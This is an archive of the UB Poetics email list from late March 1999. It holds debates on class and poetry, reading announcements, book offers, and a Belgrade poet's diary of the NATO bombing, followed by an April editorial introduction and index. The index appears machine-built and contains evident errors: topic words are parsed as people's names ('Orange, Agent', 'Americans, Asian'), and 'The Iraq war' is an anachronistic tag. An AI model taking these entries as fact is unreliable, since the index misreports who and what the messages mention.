Mark's absolutely right here - who brings up these questions in most cases? - highly educated mainstreamers, no? In places like NYTBR, no? As evidence to the contrary of this correlation btwn "experimental" and educated "elite" I'd point to the many poets I know working in various "poetry in the schools" projects and to one specific example: Susan Stewart using Harryette Mullen's Muse & Drudge in a literacy program and then having Harryette flown in to read for those students, to great affect and much fun, I hear. Elitist? Hardly. In contrast, could anything be more alienating to, say, an undereducated, working class person than, say, Richard Wilbur's "Still, Citizen Sparrow"? Now that's a poem which requires the full regalia of a long and evil "education." - m.

↑ Index

386. Loss Pequen~o Glazier
Wednesday Reading - Buffalo
Tue 30 Mar 1999

A reminder for those in the area:

Digital Poetry Reading / Hypertext Performance

JIM ROSENBERG
&
LOSS PEQUEÑO GLAZIER

Wednesdays at 4 Plus Series
Weds., March 31, 4pm
CFA Screening Room

Rosenberg is one of the leading hypertexual/web poets and theorists, whose best known work is Intergrams (Eastgate Systems).

Poet Glazier is Director of UB's Electronic Poetry Center and Webmaster for the College of Arts & Sciences. Books include Leaving Loss Glazier, and Small Press: An Annotated Guide. ----------
----

↑ Index

387. Michael Boughn
Re: Class is . . . (fwd)
Tue 30 Mar 1999

Dear Kathy Lou Schultz:

You quickly learn to keep such knwledges secret unless you're looking for a fight. See Melville's _White Jacket_.

Best,
Mike

> Mairead,
> I don't care if you think it's obnoxious. Survival is survival. One does what one needs to do in order to survive. For poor and working class folks survival is often the name of the game--not "offense." In any case, you're just trying to turn what I said on its head without responding to the crux of my point, which I find obnoxious. Backchannel further, please.
> Thank you.
> Kathy Lou Schultz

> On Fri, 26 Mar 1999 [redacted] wrote:
>
> I'm a girl from the working class and I swear I > can smell class. I can sniff it out. I'm rarely wrong.
> What does this mean? Perhaps that those less privileged > become adept at reading class codes--and often at adopting
> those of the upper classes as a means of survival.
>
> Kathy Lou, this seems to me a very mixed blessing. I suppose there were > always those who could sniff out a Catholic or a Jew or a Black. Often > the sniffing is offensive rather than defensive. Sniff away: I find the > notion obnoxious.
> Mairead

↑ Index

388. Gerald Schwartz

Re: LYNN KELLY's Q & SUSAN HOWE'S A

Tue 30 Mar 1999

Is there any validity to considering this a question of who sets the agenda? I poet's "explanation" of a reality may serve as the context in which a reader considers the meaning of an "event", even if the reader nd the poet have diametrically opposede renderings of the same occurence. By strssing poetry as information, I do not mean to suggest that a poem's information is the only source. But, given the audience, may be of a limited power in swaying. Take it further, there are probably poetic productions that lower their audience's aspirations to advance.

What I mean to suggest is that a poem can impart to occurences their public persona/character as it transforms a mere happening to a publically recognizeable event. Along these lines I am thinking of some performances as the modern replacement of the town crier. Some performances, perhaps more in a griot tradition, track "fires", reporting on them, while offering help or initiating criticism as appropriate.

Gerald

↑ Index

389. David Baratier

Larry's

Tue 30 Mar 1999

I have been voted on to the advisory board for Larry's & as result of thinly veiled debate followed by injuries we will have an excellent Spring line-up.
We are funded by the OAC and located at 2040 N. High Street, Columbus OH
Readings on Mondays, followed by an open Starts at 7pm

March 29th Tom Bridwell - Former publisher / editor of salt-works press. Whose _Notes of a Cistern_ was one of the best books I read last year. For a 3 page preview contact Steve Ellis (who is here somewhere) & buy the new Oasia Broadside.

April 5th
Annie Finch

April 12th
Larry Smith & Michael Waldecki

April 19th
Kathy Fagan

April 26th
Brian Richards

May 3rd
Deborah Sobeloff
Winner, Redding Memorial Contest

May 10th
David Shevin

Please come out.

Be well

David Baratier

↑ Index

390. kathylou
Re: query
Tue 30 Mar 1999

Abigail Childs' films are available through Canyon Cinema in San Francisco, an artist-member organization where much of the rental fees go to the filmmakers. Very cool.

Canyon Cinema Co-op
2325-Third Street
San Francisco
[redacted]

Best,
Kathy Lou Schultz
> Summi (and all who might be interested) -
>
> Might not be the case any longer, but I know that as recently as last year a > video was available which archived three (?) of Child's 70's and early 80's > works - I remember, in particular, "Mayhem," don't know offhand whether "Is > This What You Were Born For?" was included. The distributor was one commonly > used by Media Studies folks at Buffalo - Anya Lewin would be a good person > to ask. Anya, are you out there?
>
> In any event, if Anya isn't on the list, I'd be happy to forward queries to > her - hesitant as always to give out private e-mail addresses on lists, but > I'd like to help however I can.
>
> Overcautiously yours,
> Taylor
>
> -----Original Message-----
> From: UB Poetics discussion group [mailto:[redacted]]
> On Behalf Of Summi Kaipa
> Sent: Monday, March 29, 1999 6:52 AM
> To: [redacted]
> Subject: query
>
> Does anyone out there know anything about the work of Abigail Child? I > just recently saw part of a film of hers entitled "Is This What You Were > Born For?" which had Hannah Weiner's words dubbed into it.
>
> Any leads?

>
>
> --Summi

↑ Index

391. Tony Green
Re: Lettrisme
Tue 30 Mar 1999

& more bibliography:

Experimental -- Visual -- Concrete : avant -garde poetry since the 1960s ed.K.David Jackson, Eric Vos & Johanna Drucker. (Avant garde critical studies; 10) Rodopi B.V., Amsterdam-Atlanta.Ga 1996. ISBN: 90-5183-959-6 (bound) ISBN: 90-5183-941-3 (paper) Several references to Isou. Neat summary of activity of Lettrism pp 46-47 in Johanna Drucker's useful essay _ Experimental, Visual, and Concrete Poetry: A Note on Historical Context and Basic Concepts._ The book resulted from the Yale "Symphoposium" on Contemporary Poetics and Concretism, April 5-7, 1995. The conference was initially to be about Augusto & Harold de Campos, but it expanded to include later visual, sound, aleatoric, & concrete poetries. The result was an encounter between early Concretism & its disciples & later practitioners in a related but much wider range of poetries.

You might guess what my spell-checker suggests for all this.

Tony Green

↑ Index

392. Charles Bernstein
Post from Dubravka Djuric (fwrd)
Tue 30 Mar 1999

Dubravka Djuric is a poet and translator and journalist living in Belgrade, who among many projects is an editor of Pro Femina. She also a good friend (Dubravka and her husband the philosopher and art historian Misko Suvokovic, spent a semester in Buffalo some years ago as Poetics Program Fellows). Dubravka asked me to pass along this post if I thought it would be of interest to the list (she notes that the names of the days of the week may be wrong). A few days ago, Dubravka posted a statement to the list from the Belgrade feminist peace activist Lepa Mladjenovic. --Charles Bernstein

Date: Sat, 27 Mar 1999 09:53:34 +0100 (CET)
From: Dubravka <[redacted]>

monday: i was in the center of the city seeing some friends. people already start talking about bombing. i heard comment 'we will be occupied as macedonia, bosnia and croation' didn't comment it. i stop commenting because it doesn’t have any sense. we all think what we want to think. thursday: all day spent in front of tv, reading newspapaers and was nervous and paralyzed. wednesday: decided do go to visit some friends who work in presses and to give them new issue of pro femina magazine that appeared few days earlier. on my way to the center first impression was that the town had very few people on streets, which is unusual. belgrade is full of people specially because so many refugees become its citizens, you could hardly walk through streets they were so full of people and crowded with cars. my friends kept talking about bombing, about buying enough food. again on streets, i could feel fear in the air. belgrade was city of ghosts. went to NUNS (office of independent journalist association, also pro femina is there) met friend who told me about veran matic (b 92 is publisher of pro femina). all around could feel fear. in the evening sirens. we could hear few detonations. spent some time behind tv, but not much information till 21 hours, then some confused one. during the night sirens, but we continued to sleep. saturday: went to downtown. few people on the street. went to buy food twice. supermarket was full of people who buy food and didn't comment on anything. you could feel fear on their faces. at night we were in darkness. few detonations near my husband’s and my place. then we went in bed. friday: went to downtown. more people on streets, more cars. the atmosphere calmed. people walked. went to NUNS to pick up the some books. met friends who spoke about what might happened. at quarter past four heard sirens. jumped into the bus. look to the people on the street who just continued to walk normally, back home. all afternoon was on line with misko replying to friends from slovenia, croatia, usa that we are ok. friends from belgrade and novi sad called and we called then. words of courage, and deep worrying. people are scared how long this could last, what could happen. the experience is that all our lives are in danger. and i think about people, many of them our friends and close relatives, in croatia and bosnia during the war... forwarded a message from friends written by belgrade feminist peace activist lepa mladjenovic . went to bed around 22. i couldn't sleep, and suddenly detonations. we all went downstairs, whole city was in darkness. heard detonations for about 20 minutes, somewhere relatively near us. scared. spent few minutes outside in yard. but didn't see anything. arround 4 in the morning another siren, one detonation. continued to sleep.

.....

thanks all friends who are continually in contact by e mail with us!

↑ Index

393. sylvester pollet
Enslin Special Offer
Tue 30 Mar 1999

(Chris, I'm sending this again--I don't think it ever got through) Sylvester

Theodore Enslin's _THEN, AND NOW_ Selected Poems 1943-1993, ed. Mark Nowak (Orono: National Poetry Foundation 1999) is here, and it's a beautiful book. 430 pages, including an interview the editor did at Ted's home in Maine, August 1997.

Regular price: $19.95 paper, $34.95 cloth Special offer : $15. paper, $28. Cloth. Add $3. for shipping (U.S.) or $5. (international).

send orders to
The National Poetry Foundation, Room 302
5752 Neville Hall
University of Maine
Orono ME 04469-5752

or you can e-mail them to Gail Sapiel <[redacted]> & be billed, but mention the special offer. Here's part of the jacket copy:

"Theodore Enslin began his artistic career as a musician, trained by Nadia Boulanger; and the titles of many of his books suggest his continuing fascination with the "musication" of language: _Etudes, Opus O, Songs w/o Notes, Carmina, The Diabelli Variations_. Like other poets of his generation, such as Robert Creeley, Robert Kelly, and Edward Dorn, Enslin carries forward Charles Olson's sense of the large historical and ethical function of poetry and his dedication, at once ecopoetic and ethnopoetic, to place. Also identified with the Objectivist tradition of Louis Zukofsky, Lorine Niedecker, and George Oppen, he writes about meaning in the dailiness of human life and the ineluctable reality of the things in this world."

Enslin will be reading in Orono April 9--contact me for details, if you're passing through. Sylvester Pollet

↑ Index

394. Catherine Daly
Spelling Bromige
Tue 30 Mar 1999

Well, not Spelling TV, at least. I confess to more interest in the translation (or not) of place names, and their spelling and pronunciation. Shouldn't maps be the same in any language?

How to get to Loyola Marymount: Go toward the airport, and turn at the giant donut. When the street names are the same as the names of famous Jesuits, you're there. When the angelus rings eight, the reading is supposed to start. Try to mill around looking cool, like you're not waiting for the reading. I toured around the business school, and picked up a free bumper sticker being given out by the Center for Ethics and Business, "More Fun than Decent People Think Should be Legal!"

While I believe I am more familiar with Peter Gizzi's work than with Elizabeth Willis', I have her _Human Abstract_ book and none of Peter's books. Therefore, I was struck by the difference between what I thought while reading Elizabeth's poems and what I thought hearing them. I was very interested, reading, about the religious arguments, but was more interested, listening in the grey room, about the images of and from visual art. Ah, Blake, I might say, had she not read mostly new work that was not from _Human Abstract_. A series called "Turneresque" was very enjoyable, and I guess I have to go to the Getty again, something of a scary religious experience itself, to see their Richard Dad painting.

Gizzi's emergent thread was Villon and ballads, IMO.

Rgds,
Catherine Daly
e.g. << new fictitious business name
[redacted]

↑ Index

395. KENT JOHNSON
Anti-war resources
Tue 30 Mar 1999

Z Magazine has a number of excellent statements on the Yugoslavia bombing: Articles by Noam Chomsky, Edward Herman, Diana Johnstone, position papers by the Green Party USA, War Resisters League, and numerous other things.

A very helpful site for cutting through Washington/ NATO/ CNN propaganda.

http://www.lbbs.org/ZNETTOPnoanimation.html

↑ Index

396. Mark Weiss

Re: Class is . . .

Tue 30 Mar 1999

Mairead: In any multi-ethnic, multi-class environment everyone does this kind of sniffing. When I moved into a largely Irish and Italian neighborhood in Brooklyn the stoop-sitters very quickly quizzed me and pronounced me Jewish. There was no malice in it, ever, and I lived there for close to a decade. What they learned was what category of their experience I fit into, and my behavior was measured against that norm (and served to moderate it to some extent) rather than against what would be expected of an Irishman. It wasn't "What else can you expect from a Jew" but "He's Jewish, which means that x behavior probably indicates..." The ability to maintain and apply disparate approximate models of behavior is a necessary survival skill in cosmopolitan environments. Ethnicity and class are among other things behavioral languages that often need to be translated. My ex-wife, who came from a part of North Carolina where, as she expressed it, there were three classes: Southern, Mountain, and Black, was always amazed at my ability (perfectly average for a New Yorker) to arrive at quick and usually accurate hypotheses about class and origin--her environment, with its fewer and starker distinctions, hadn't trained her to do likewise.

At 10:26 AM 3/29/99 -0500, you wrote:
>On Fri, 26 Mar 1999 [redacted] wrote:
>
>> I'm a girl from the working class and I swear I >> can smell class. I can sniff it out. I'm rarely wrong.
>> What does this mean? Perhaps that those less privileged >> become adept at reading class codes--and often at adopting >> those of the upper classes as a means of survival.
>
>Kathy Lou, this seems to me a very mixed blessing. I suppose there were >always those who could sniff out a Catholic or a Jew or a Black. Often >the sniffing is offensive rather than defensive. Sniff away: I find the >notion obnoxious.
>Mairead
>
>

↑ Index

397. derek beaulieu / house press
Re: bpNichol's TTA?
Tue 30 Mar 1999

---

charles and etc:
>as in SHARP FACTS: Variations on TTA 26, and some are Nichol's inventions >concerning possible arrangements of the specific language of the poem.

admittedly i havent seen SHARP FACTS as of yet - altho i am working on getting a copy - and i think that whil esome texts can be reproduced online that i dont know how well TTA works online - esp with the exclusion of some of the more graphical pieces - the light and dust site reproduces solely the text based interpretations / translations. . . what abt some of Nichol's other translation work, like the catallus poems? yrs derek

↑ Index

398. d.j. huppatz
RADI OS
Wed 31 Mar 1999

Listfolk

Sorry to go back over old ground but I've been searching for a copy of Ronald Johnson's RADI OS & Small Press Distribution said they don't have a copy & it's definitely out of print. Could anyone please give me any leads as to where I might be able to buy a copy (preferably over the internet as I live in Australia)? OR Is anyone out there willing to sell me their copy or happen to have a spare or know of anyone who might?

Backchannel much appreciated.

Dan Huppatz
Melbourne

TEXTBASE WEBPAGE:
<http://www.skynet.apana.org.au/~samiam/textbase/textbase.htm>

↑ Index

399. Stephen Cope
New Writing Series at UCSD
Wed 31 Mar 1999

The New Writing Series at UCSD announces its spring Schedule of Events.

Unless otherwise noted, all readings take place at the Visual Arts Performance Space on the University of California, San Diego campus at 4:30 PM. Readings are free and open to the public.

* Mervyn Taylor April 7

Mervyn Taylor, who divides his time between New York and his native Trinidad, has published two books of poems, _An Island of His Own_ and _The Goat_, both from Junction Press. He teaches high-school English in Harlem and creative writing at the New School for Social Research.

* Leslie Scalapino April 14

Author of numerous books of poetry, prose, drama, and criticism, Leslie Scalapino's recent publications include _Green and Black: Selected Writings_ (Talisman House, 1996) and a collaboration with Lyn Hejinian, _Sight_ (Edge, 1999). She edits and publishes O Books.

* Aldon Nielsen April 21

Aldon Nielsen is the author of four volumes of poetry, the most recent of which _Vext_ (Sink Press), and four books of literary/cultural criticism, including _C.L.R. James: A Critical Introduction_ and _Black Chant: Languages of African-American Postmodernism_.

* Michael Davidson April 28

Long-time UCSD professor Michael Davidson is an internationally celebrated poet and critic. His most recent book-length punlications are _The Arcades_ (O Books, 1999) and _Ghostlier Demarcations: Modern Poetry and the Material Word_ (U. of California, 1997).

* Kit Robinson May 5

The author of numerous books of poetry, including the recently published _Democracy Boulevard_ (Roof Books, 1998), Kit Robinson has been called by Kevin Killian "one of the most accomplished poets working in America today." He lives in the San Francisco Bay Area.

* Charles Bernstein May 12

* Taking place at the Seuss Room, Geisel Library, UCSD at 4:30PM

Author of over two dozen books of poetry and criticism, Charles Bernstein is the 1999 recipient of the Roy Harvey Pearce/ Archive for New Poetry Prize - awarded biennially to an American poet/scholar. Among his recent publications is _My Way: Speeches and Poems_ (U. of Chicago, 1999).

* Lewis Warsh May 19

Editor and publisher of United Artists Books, Lewis Warsh is the author of two novels, _A Free Man_ and _Agnes & Sally_, a book of stories, _Money Under the Table_, and numerous books of poems, including _Information from the Surface of Venus_ and _Avenue of Escape_.

* In Memoriam Armand Schwerner May 26

A celebration of the life and work of the poet and performance artist Armand Schwerner, with a filmed performance of Schwerner's reading from his masterwork _The Tablets_. Guest appearances by David Antin, Eleanor Antin, Jerome Rothenberg, Quincy Troupe, Mark Weiss, and others.

↑ Index

400. Rebecca Wolff
The Joy of Poetry
Wed 31 Mar 1999

"Poetry is a calling. You are called to write and you follow."

Grant kindly requests that I elaborate on what I meant by "the joy of poetry" when I intimated that the practical implementation of cultural studies classrooms would have the effect of killing said joy.

Above I quote Susan Howe for my own purposes: For me the joy of poetry--the phrase bringing to mind big, white-jacketed instruction manuals--has always been (and I am going to preface everything I say with "For me" so as to avoid the inevitable universalizing) its quality of given-ness, of temporal rightness, unavoidableness, inevitibility. As a writer of it and a frequent reader of it--though not a student of it--I would argue that the reading of poetry is also a calling, in that there are equivalently inspired moments of comprehension, agreement, pleasure as occur in the writing. Now, I've always wondered about critics: what kind of engagement with a poem do you have to have to write about it (well)? Is it the same kind of feeling of cohesion? I suppose I've now worked my way around to undermining my first complaint, about poetry in the classroom, as I guess my tentative answer to my own question is that critics/students of poetry are not purporting to engage with the poem as merely writer or reader, but also as worker. Poem as material with which to make money by writing papers, getting jobs, getting better jobs? So that the lack of the particular kind of joy I was referring to would not in the end be such a criminal thing, but an allowed exigence.

I faintly realize that I am again treading on eggs what with my distinction here between poem as aesthetic object of transcendent aetheriality and poem as cultural artifact--But I said "For me."

Here's a response to previous responses. I wrote it a couple of days ago but had to stay away from the List for a little bit so as not to get an ulcer.

***

I have decided to try to avoid contention, and so would like to frame most of my response as sincere (ie, not rhetorical) questions. I do realize that some of these questions are naive. I am not an academic but have had close contact with this world, and find it fascinating. The opinions I tried to vent in my earlier posting about cultural studies spring out of my actual practical experience as a student in a classroom such as I have described, wherein the student body's attempt to guess at what the professor was hinting at, and her programmatic approach to the reading list, were depressing and ire-provoking.

It has likewise been pointed out to me that I probably don't really understand what cultural studies IS or undertakes to be, and my response again is that I was trying to speak not about the theory but about my experience of its practice in the actual classroom. I did not mean (disclaimer, apology) to suggest that I recommend "close reading" as the only viable means of teaching poetry, nor that those who take joy in studying poetry through the lens of cultural studies should just stop: (although I guess I sounded like that's what I meant, and I think that's just because contention is the most available tone to strike when making these postings, and that's why I'm going to try to stop after this). I really was just trying to describe what it was like to be a student (middle-class or otherwise; that descriptor was a red herring) in such a classroom at a middle-ground university (also perhaps irrelevant, though if I had left it out that would be a pretty close reading indeed) and to have the experience of an attempt at that shift in modalities as I understood it per the listserv discussion.

Sincere questions:

1) How can the production of increasingly rarified critical papers and books (a production embedded in and directly spurred by a factory-like academic industry) be seen to be an agent for social change?

2) How is it materially different for a grad student to write a paper on, say, Emily Dickinson's love affair with her sister-in-law, and trace its progress through her poems, than for a grad student to write a paper on lesbian inter-family relationships in the early part of the century, and trace the progress of Emily Dickinson's love affair with her sister-in-law as it is visible in her poems? One seems self-contained, and not purporting to impact social anything, and the other goes outside literary circumspection for its points of reference. So is the difference then that one has the potential to effect social change, and the other doesn't? And if that potential is not fulfilled, does that alter the quotient of actual difference between them?

3) OK, so this one's not a question: in response to the relaying of Susan Howe's interview responses to questions of anti-intellectualism and whether a given poem needs to be applicable to everyone or just to a few: However anachronistically, I do continuue to believe that poems, once shot out, are beyond the control of the poet, and so the kinds of responses to them that are had by readers are also out of the poet's control. So if I choose to read Susan Howe without the benefit of knowing, again, what her husband's job was, or even knowing how she would LIKE me to read the poems, then that's mah perogative. And if that makes me not her chosen reader than that's really OK; I can continue to read her. And if that makes me un- or anti- intellectual then those are my own unfortunate limitations and I suppose I am to be pitied rather than despised.

I would also like to suggest that Ms. Howe's response is to be reviewed: I thought I detected a certain archness which did not in fact indicate "enragement" over the idea that some readers would not be qualified/equipped to read her work as she wanted it read, but instead bemusement that the question should be thrown upon her. True, I have a tendency to read archness in often where it is not, but again I suppose this is harmless, and makes reading--and writing--a whole lot more fun for me than it otherwise might be.

↑ Index

401. David Baratier

Re: Class is . . . (fwd)

Wed 31 Mar 1999

I can smell class, they almost fired me for it once.

Survival is survival. Gertrude Stein.

Smell whitey.

Really. Smell has nothing to do with class. The chain bottom of survival is a process of watching others and knowing your limitations. To anticipate their next move from the last. To know where things are. Mix desperation with cool to ask at the right moment. The right moment has a lot to do with it. But it is watching and understanding the nature of the subject until the moment.

Be well

David Baratier

↑ Index

@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

April 1999

92 messages · Tue 30 Mar 1999 – Mon 5 Apr 1999

Of April 1999 the archive keeps only five days — it opens on the first and breaks off on the fifth — but they are five days of a particular weather. It was National Poetry Month, and it was the second week of NATO's bombing of Yugoslavia, and the newly moderated Poetics list held both at once. Charles Bernstein set the key on the first, announcing an essay of his just posted online, Against National Poetry Month as Such: the cruelest month, as the old line has it, arriving this year over a war. What those five days show, the more clearly for being so few, is a room reconstituted three months earlier and now quietly testing whether it could still do the one thing moderation had seemed to cost it — think.

It could. The fullest thread was opened by Juliana Spahr, who came back from a conference and a talk on Carolyn Chute unable to stop turning over the question of class — how a room of poets might speak about it honestly, given how many people slip up and down it all their lives. She refused every easy marker: was Lyn Hejinian middle-class, and by what measure; did an adjunct's job, or a scholarship to Yale, settle anything; was class income, or upbringing, or only culture. "It is hard to quantify, much less smell or generalize", she wrote, and the thread that followed was the new list at its best — a hard subject held open, carefully, by people genuinely asking rather than scoring points. This was a discussion the December list could no longer have had.

The war was in the room too, as it had been all spring. The moderator's new charter formally admitted political news, and so the bombing entered the way it could: Kent Johnson forwarded a dissenting analysis, Five Myths of NATO's War, lifted from Z-Net — the falling of American bombs on Belgrade turned, on a poetry list, into a document to be weighed and argued. The room did not look away from Kosovo; it did what it does with everything, and made it a text.

And presiding over all of it, uneasily, was the new moderator. Pressed on the list's ideological limits, Christopher Alexander answered in public with a candour that gave the month its strangest and most touching note — a man wrestling aloud with the power he had been handed, naming himself, with a wince, "my own position as arbiter of the list". He was governing a room three months out of a war it had waged on itself, and he knew it: every rule he wrote, he feared, was a rule he would be accused of writing.

Then, on the fifth, the record simply stops — not in collapse this time, the way December had ended, but the way a held breath ends: mid-thought, mid-argument, the class thread still open, the bombs still falling, the moderator still at the door. I have set Spahr's careful questions beside Alexander's unease exactly as those five days delivered them, because together they are the sound of a list learning to live under its own new law — quieter than it was, and, for the first time in a long while, thinking clearly enough to be worth the quiet.

— Kristen M. Fabians

Index

Writers, names mentioned, and concepts. Every number links to its message. 92 in all.

WRITERS

Administration, Poetics List 33, 71, 72, 73
Alexander, Charles 8, 17
Alexander, Christopher W. 44
And, Miekal 38
Archive, The William Blake 27
Baratier, David 82, 83
Beckett, Tom 76
Bernstein, Charles 28, 57
Brady, Taylor 15
Bramhall, A H 80
Bromige, David 59
Byrne, Mairead 12, 48
Cayley, John 84
Daly, Catherine 49
Damon, Maria 9, 10, 53
Davis, Jordan 47
Dykstra, Kris 51
Emgarrison 67
Epstein, Andrew 4
Fac/staff, Christopher T Funkhouser Hss 39
Ferguson, Jamie 45
Fleisher, Joe Amato/Kass 88, 90
Gallagher, Kevin 5
Glazier, Loss Pequen~o 58
JOHNSON, KENT 62, 65
Kane, Daniel 35
Kathylou 11
Kimmelman, Burt 16
Kozaitis, Anastasios 54
KRAMER, WENDY 1, 2
Krebs, Michael 64, 92
Levitsky, Rachel 85, 89
List, Poetics 40, 41, 50, 87
Magee, Kevin L. 7, 30
Martin, Camille 25
McKevitt, Karen 36
Nakayasu, Sawako 61
Nuyopoman 52
Oliver, Douglas 79
Ortiz, Travis 18, 19, 20
Pompeii, Jessica 34, 68
Press, Derek Beaulieu / House 22, 55, 75, 77
Pritchett,Patrick 86
Project, Poetry 29
Russo, Linda 23, 60
Sherry, James 63, 78
Sondheim, A. Jenn 26, 42, 43
Spahr, Juliana 24
Starr, Ron 14
Stefans, Brian 13
Stroffolino, Louis 32
T..., M A T 69
Travmar03 3, 21
Treadwell, Elizabeth 46, 66
Tremblay-McGaw, Robin 6
Weiss, Mark 70, 74, 81, 91
West, Bobbie 31
Zauhar, David 37
Zimmerman, Daniel 56

NAMES MENTIONED

Adamo, Ralph 25
Albright, Madeline 65, 74
Alexander, Christopher W. 44, 73
Alice, Mary 79
Allison, Dorothy 31
Americans, Asian 41, 79
Antin, David 56, 57
Armantrout, Rae 8
Armitage, Simon 72
Ashbery, John 33
Barbour, Douglas 8
Barnard, Mary 23, 29
Basinski, Michael 55
Belle, Cecelia 89
Berkeley, Michael 18, 46, 66
Berkson, Bill 15
Berlin, Irving 7
Berrigan, Eddie 31
Bervin, Jen 8
Betts, Gregory 55
Betts, Tara 55
Bly, Robert 29
Borges, Jorge Luis 15
BpNichol 55
Bramhall, Allen H. 80
Brinks, Dave 25
Bronk, William 37
Bukowski, Charles 31
Butler, Judith 15
Cabri, Louis 44
Cage, John 15
Cain, Stephen 55
Clinton, Bill 10, 63, 65, 74
Columbus, Christopher 83
Connor, Brenda 21
Cooper, Lisa 8
Cooper, Paula 25, 52
Coultas, Brenda 29
Crawford, Robert 72
Creeley, Robert 33
Davidson, Michael 8

Deleuze, Gilles 15
Dennis, Michael 25
Derksen, Jeff 77
Dickison, Steve 15
Durand, Marcella 29
Edgar, Chris 33
Ellen, Mary 15
Ellis, Stephen 15
England, Amy 72
Eshleman, Clayton 8
Featherston, Dan 8
Finch, Annie 83
Fischer, Norman 8
Fisher, Allen 72
Foley, Jack 8
France, Peter 65, 72, 74
Friedlander, Ben 33
Fuchs, Greg 21
Fussell, Paul 49
Galassi, Jonathan 82
Ganick, Peter 8
Gates, Bill 63
Gevirtz, Susan 46
Gilbert, Alan 33, 44
Ginsberg, Allen 63
Gladman, Renee 15
Godard, Barbara 7
Gould, Henry 62
Graham, Susan 33
Greenway, Gerard 72
Gudding, Gabriel 62
Harris, Ken 25
Hejinian, Lyn 15, 16, 18
Hofer, Jen 15
House, Poets 29
Howard, Richard 70
Howe, Susan 10, 72
Huang, Yunte 44
Jaffe, Larry 8
Jarnot, Lisa 44
Joris, Pierre 45, 51
Kamenetz, Rodger 25
Kelly, Paul 3, 21
Kelsey, Karla 15
Killian, Kevin 8
Killian, Sean 33
Kirschenbaum, Matthew 27
Koch, Kenneth 4
Krick, John 87
Lacy, Steve 15
Lederer, Katy 18
Leng, Margaret 15
London, Frank 72
Louise, Bobbie 83
Lyons, Kim 29
Mackey, Nathaniel 39
Magee, Kevin L. 7, 30
Mallarmé, Stéphane 13
Malmude, Anna 47
Mandel, Tom 8
Marvin, Lee 13
Mayer, Jane 29
McCaffery, Steve 8
Mellors, Anthony 72
Miller, Cynthia 8
Morgan, Robin 27
Morris, Tim 27, 70
Morrow, William 70
Murphy, Michelle 25
Murphy, Sheila E. 8
Niedecker, Lorine 30
Nolan, John 25
Norman, Peter 15
Notley, Alice 29
Nowak, Mark 39
O'Hara, Frank 35
Ochs, Larry 15
Oliver, Doug 79, 89
Olson, Charles 3, 21
Orange, Agent 74
Ouzoonian, Amy 25
Parrish, Katherine 4
Penn, Barbara 8
Perelman, Bob 8
Peters, Carl 55
Pinsky, Robert 29
Prejsnar, Mark 9
Prevallet, Kristin 44
Randall, Margaret 49
Retallack, Joan 86
Robinson, Mary 15
Rodefer, Stephen 3, 21
Sayles, John 7
Scalapino, Leslie 8
Schultz, Lou 11
Schwartz, Gerald 7
Scobie, Stephen 8, 55
Selby, Spencer 33
Shapiro, David 8
Sharma, Prageeta 29
Shaw, Lytle 18
Sikelianos, Eleni 15
Sinclair, John 25
Smith, Robert 72
Smith, Tracy K. 7
Snyder, Rick 33
Solomon, Nancy 8
Sparrow, John 9
Stein, Gertrude 18
Stewart, Susan 9
Stroffolino, Chris 33
Tate, Allen 10
Taylor, Jesse 70
Tejada, Roberto 8, 44

Thomas, Dylan 35
Thompson, Jon 37
Trinidad, David 70
Valentine, Jean 25
Vendler, Helen 10
Viscomi, Joseph 27
Waldman, Ken 29
Walker, Shawn 3, 21
Weber, Charles 72
Welsh, Lawrence 35, 72
Williams, William Carlos 4
Wolff, Rebecca 10
Young, Andy 25
Zimmerman, Dan 56

CONCEPTS

Activism and protest 53
Aesthetics 41, 62, 72
Anthologies 1, 8, 22, 70, 72, 84
Appropriation 7, 63, 72, 73
Archives and libraries 1, 13, 27, 44, 73
Autobiography 18, 39
Avant-garde 72
Biography 39, 44, 85
Book announcements 39, 85
Calls for submissions 72
Capitalism 36, 44, 74
Censorship 41, 42, 76, 90
Cities 24, 36, 37, 54
Class 6, 9, 10, 11, 31, 37, 49, 63, 88, 89
Conferences and festivals 5, 7, 15, 23, 31
Copyright and permissions 90
Creative writing pedagogy 10, 53
Dada 13
Deconstruction 72
Difficulty 72
Disability 43
Dreams 31
Ecology and ecopoetics 72
Editing 27
Electronic poetry and hypertext 58, 73, 75, 78
Empire and imperialism 30, 44, 72
Ethics 41
Experimental poetry 55
Feminism 1, 15
Film 7, 12
Formalism 83
Free verse 83
Futurism 13
Gender 6, 24, 37, 42, 49, 54, 60, 88
Grants and funding 7, 56, 57
Ideology 41, 62, 63, 72, 73
Indigenous and Native poetics 65, 74
Interviews 7, 10, 35, 85
Israel and Palestine 65, 74
Language poetry 29, 31
Letters and correspondence 11, 13, 51
List moderation 12, 41, 42, 45, 51, 62, 73, 90
Little magazines 5, 18, 25, 45, 46, 51, 60, 66, 72, 77, 84
Lyric poetry 29, 32, 70, 72
Memory 7, 15, 22, 29, 38, 86, 88
MFA programs 70
Modernism 72
Mourning and loss 51, 58, 75, 78
Multiculturalism 72
Music and poetry 3, 15, 21, 37, 70, 86
Nationalism 72
Nature 72, 89, 90
New Formalism 83
Performance and the poetry reading 4, 8, 22, 34, 44, 52, 59
Philosophy 3, 18, 21
Place and region 72, 89
Poetics 8, 15, 18, 22, 32, 33, 39, 40, 41, 45, 50, 55, 62, 71, 72, 73, 76, 80, 87, 90, 92
Politics and poetry 72
Postmodernism 72
Print vs. digital 18, 58, 75, 85
Prizes and awards 39
Prosody and meter 83
Psychoanalysis 72
Queer poetics 10, 22
Race and poetry 3, 21, 24, 37, 42, 54, 60, 88, 90
Reading announcements 3, 4, 15, 20, 21, 29, 83
Religion and the sacred 27, 42, 50
Representation 72
Reviewing and criticism 7, 31, 33, 39, 41, 44, 50, 72
Small press publishing 15, 18, 39
Software and code 55
Subjectivity 31, 72
Surrealism 1, 13
The academy 3, 4, 10, 18, 21, 24, 28, 34, 36, 37, 39, 44, 48, 53, 54, 60, 70, 72, 76, 85, 86
The body 15, 60, 76, 90
The Gulf War 65, 74
The internet 71, 72, 73, 87
The Iraq war 65, 74
The listserv 6, 8, 33, 41, 42, 44, 45, 51, 56, 57, 62, 63, 65, 72, 73, 74
Theatre 18, 77
Translation 12, 38, 44, 45, 51, 55, 72, 83
Vietnam 65, 74
Visual and concrete poetry 13, 56, 57
Visual art 3, 17, 21, 26, 70
Women's writing 29

Contents

Every entry links to its message. 92 in all.

30 MAR 1999

1. WENDY KRAMER — check it out
2. WENDY KRAMER — Re: ray johnson mail art tribute

31 MAR 1999

3. travmar03 — Fw: a Talk by poet Stephen Rodefer
4. Andrew Epstein — Poetry Reading (NYC)
